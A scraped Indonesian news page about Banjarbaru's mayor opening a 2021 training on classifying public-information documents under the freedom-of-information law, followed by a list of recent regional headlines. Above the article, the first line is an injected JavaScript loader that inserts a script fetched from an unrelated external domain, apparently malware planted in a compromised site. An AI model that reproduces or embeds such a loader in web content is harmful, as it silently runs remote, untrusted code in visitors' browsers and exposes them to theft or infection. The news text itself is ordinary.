(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Keterbukaan Informasi Publik, Wali Kota Aditya: Ada yang Wajib Diumumkan, Ada Informasi Dikecualikan


KANALKALIMANTAN.COM, BANJARBARU – Undang-Undang Nomor 14 tahun 2008 tentang keterbukaan informasi publik mengatur kewajiban badan publik terbuka berkaitan dengan berbagai informasi yang dimilikinya.

Keterbukaan informasi tersebut dilakukan demi memenuhi hak masyarakat untuk mengetahui, mengakses, menyimpan, dan menggunakan informasi pengembangan diri dan sosial.

Selain itu, keterbukaan informasi diarahkan untuk meningkatkan partisipasi masyarakat dalam proses pengambilan keputusan publik.

 

 

Baca juga: Silaturahmi ke Tuan Guru di Kampung Melayu, Wabup Sampaikan Pentingnya Vaksin

Wali Kota Banjarbaru Aditya Mufti Ariffin SH MH didampingi Plh Kepala Dinas Kominfo Kota Banjarbaru Khairurrijaal membuka kegiatan bimbingan teknis “Pengklasifikasian Dokumen Informasi Publik dan Pelayanan Informasi”, di Aula Gawi Sabarataan, Balai Kota, Rabu (1/12/2021).

“Salah satu fungsi pemerintahan yang kini semakin disorot masyarakat adalah pelayanan publik yang diselengggarakan oleh instansi pemerintah, termasuk pelayanan informasi berkualitas, mudah, cepat, dan biaya ringan,” ujarnya.

Keterbukaan informasi publik telah mengatur tentang klasifikasi informasi publik berdasarkan derajat kegunaannya. Yaitu informasi publik yang wajib disediakan dan diumumkan secara berkala, informasi publik yang harus diumumkan secara serta merta, informasi yang wajib tersedia setiap saat, dan informasi yang dikecualikan.

“Namun, pemenuhan hak atas informasi, bukan berarti kebebasan yang bersifat mutlak, apalagi bila permohonan yang diajukan terbukti tidak memiliki tujuan jelas atau tujuan permohonan tidak dapat dipertanggungjawabkan secara hukum,” katanya.

Baca juga: Terobos Perkampungan Banjir HST, Pengungsi Tidur di Lokasi Terbuka Jalan ke Persawahan

“Disinilah petugas pelayanan informasi harus terus mengembangkan wawasannya. Jangan sampai informasi yang sifatnya rahasia justru diumumkan dan diberikan kepada pemohon, dan informasi yang seharusnya diumumkan justru tidak diumumkan,” bebernya.

Kabid Komunikasi dan Informasi Publik Herry Isdaryoko, panitia pelaksana kegiatan, mengatakan, bimtek bertujuan untuk profesionalisme dan kompetensi admin SIP PPID khususnya dalam mengklasifikasikan dokumen informasi publik dan pelayanan informasi.

“Meningkatkan kinerja unit kerja dalam hal penyediaan dan publikasi informasi publik pada aplikasi SIP PPID di lingkungan Pemerintah Kota Banjarbaru. Dan meminimalisir terjadinya sengketa informasi akibat tidak dipublikasikannya informasi publik kepada masyarakat,” bebernya.

Metode Bimtek yang digunakan adalah pendidikan orang dewasa, apresiatif, partisipatif, diskusi kelompok, simulasi dan permainan, serta presentasi. Peserta bimbingan teknis terdiri dari 60 admin SIP-PPID di SKPD, kelurahan, dan bagian pada Sekretariat Daerah Kota Banjarbaru. (kanalkalimantan.com/al)

Reporter : al
Editor : kk


Risa

Recent Posts

Lolos Verifikasi Jalur Calon Perseorangan Lalu Mundur Diri, Siap-siap Kena Sanksi

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar sosialisasi persiapan pencalonan bakal pasangan… Read More

52 menit ago

Hadapi Satu Wasaka Award, Bappedalitbang Banjar Kumpulkan SKPD Terkait

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Rapat… Read More

1 jam ago

Bupati Banjar Serahkan Bonus untuk Kafilah Kabupaten Banjar, Segini Rinciannya

KANALKALIMANTAN.COM, MARTAPURA -  Pemerintah Kabupaten Banjar melakukan syukuran atas prestasi yang diraih kafilah Kabupaten Banjar,… Read More

2 jam ago

Proyek Trotoar Jalan Kemuning Langsung Drainase, Begini Respon Warga yang Pagarnya Kena Bongkar

KANALKALIMANTAN.COM, BANJARBARU - Proyek penataan Jalan Kemuning, Kecamatan Banjarbaru Selatan, Kota Banjarbaru, dengan penyedian trotoar… Read More

2 jam ago

35 Peserta Ikuti Bimtek Pengawasan Jalan dan Jembatan Dinas PUPR Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) melalui Dinas Pekerjaan Umum dan Penataan Ruang… Read More

4 jam ago

H Muhidin Siap Lamar Semua Parpol, Incar Cagub Kalsel Gandeng Hasnur

KANALKALIMANTAN.COM, BANJARMASIN - Keinginan Ketua Umum Dewan Pimpinan Wilayah (DPW) Partai Amanat Nasional (PAN) Kalimantan… Read More

4 jam ago

This website uses cookies.